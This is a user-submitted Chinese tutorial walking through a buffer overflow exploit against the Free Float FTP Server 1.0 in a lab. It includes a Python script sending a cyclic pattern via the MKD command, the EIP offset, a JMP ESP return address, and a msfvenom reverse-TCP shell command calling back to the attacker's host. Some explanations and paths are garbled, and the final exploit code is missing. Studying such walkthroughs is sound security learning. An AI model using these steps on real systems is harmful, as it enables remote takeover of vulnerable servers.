Free Float 1.0漏洞利用和EXP编写

网友投稿 277 2022-10-22


Free Float 1.0漏洞利用和EXP编写

首先使用ODB运行FTP SERVER 1.0带有缓冲区溢出漏洞的程序,然后按下F9让ODB运行我们带有漏洞的程序。

我们先使用kali自带的​pattern_create.rb​这个脚本来生成一串用于测试缓冲区溢出的代码,以便我们在下一步测试缓冲区大小。

这里我们所要使用的脚本位于

/usr/share/metasplot-framework/exploit/tools

下。这个目录下存在脚本​pattern_create.rb​文件,我们使用命令

./pattern_create.rb -l 1000

就可以生成一个1000字节的字符串。我们将用这个字符串来测试缓冲区大小。

然后编写如下python脚本

#!/usr/bin/env pythonfrom socket import *payload="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6A b7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad 7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8 Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8A h9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak 2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am 3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1 Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq 1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As 2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3A u4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3 Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay 3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4 Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5 Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be 6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8 Bg9Bh0Bh1Bh2B"sock = socket(AF_INET,SOCK_STREAM)sock.connect(('172.16.104.250',21))sock.recv(1024)sock.send("USER anonymous\r\n")sock.recv(1024)sock.send("PASS anonymous\r\n")sock.recv(1024)sock.send("MKD " + payload +"\r\n")sock.recv(1024)sock.send("QUIT\r\n")sock.close

当我们运行脚本时,odb的内存我们可以看到是空的,在原版ODB中,我们需要使用shift+F7来查看异常,通过报错信息我们很容易地发现是69413269这个地址为空,也就是说,EIP的值已经变成了69413269,当程序返回时,esp会指向eip,而这个时候eip指向的内存空间为空,程序不会执行任何代码。

现在为了确定缓冲区的长度,我们需要使用kali中的pattern_offset.rb脚本来进行计算。

这个文件的位置在/usr/share/metasploit-framework/exploit/tools下。

我们使用命令:“./pattern_offset.rb -q 69413269”即可获取当前程序的缓冲区大小。

值得注意的是。如果你没有使用ODB打开带有overflow漏洞的程序,你也可以观察程序的报错信息中的详细信息。其中也会包含程序当前指向的错误的EIP地址。在这里不推荐使用payload = ‘a’*1000的方法来判断溢出漏洞。因为这种方法你很难来判断程序当前指向EIP的地址而拿到正确的缓冲区大小。这是不利于下一步测试的QWQ。

很显然,我们拿到程序的缓冲区大小为247个字节。这个时候我们知道我们需要让EIP指向一个我们想要的地址,而缓冲区溢出攻击的实质就是让内存地址中的值可控,我们只要能够找到一个合适的EIP地址,让程序返回时ESP跳转到EIP指向的地址中,然后让EIP后面的值被我们的SHELLCODE覆盖就可以让程序返回时ESP中的不知名函数成为我们的SHELLCODE,这里值得注意的是,在微软的淫威下(ASLR内存地址随机化),我们采取的办法就是内存喷射。。虽然感觉很牛逼,其实然并卵==,你只要让程序返回时的地址中成功指向我们的shellcode空间就可以了,所以也不需要什么精准的落在shellcode开头QAQ,这里理解起来可能会有点难度。。在微软的ASLR下,所有的内存地址都是随机的==在这里我们需要在用户的内存空间中找到一个可用的JMP ESP指令,这里先不涉及每个程序必定加载的user32.dll和kernel.dll,我们就简单的使用odb来判断函数的第一个返回地址就好了。。省的你们夜长梦多还不知所以然。。当然JMP ESP的机器码叫E4FF,由于先进后出的原因,在loadlibrary返回的handle中使用循环来查找指令的时候需要使用handle[pos]==0xFF && handle[pos+1]==0xE4。

这里我找到的地址是\x77\xc2\x10\x25,在程序中我们需要打成\x25\x10\xc2\x77。

然后加上一段填充字符保证shellcode在我们的代码段空间中,最后加上msfvemon生成的shellcode。具体命令就是 msfvenom -p windows/shell_reverse_tcp LHOST=本机IP LPORT = 监听端口 -b ‘\x00\x0a\x0d’ -f py -c 1.py

-b是指去掉坏字符。\x00是字符串结尾,\x0a是\n,\x0d是回车,。

最后我们在我们的python脚本中加上一串shellcode即可。

完整代码:

执行效果:

172.16.104.250是带有漏洞的xp,我的kali是172.16.104.3,监听端口是8086


版权声明:本文内容由网络用户投稿,版权归原作者所有,本站不拥有其著作权,亦不承担相应法律责任。如果您发现本站中有涉嫌抄袭或描述失实的内容,请联系我们jiasou666@gmail.com 处理,核实后本网站将在24小时内删除侵权内容。

上一篇:世界备份日|养成习惯,有“备”无患
下一篇:如何在MyBatis中实现DataSource
相关文章

 发表评论

暂时没有评论,来抢沙发吧~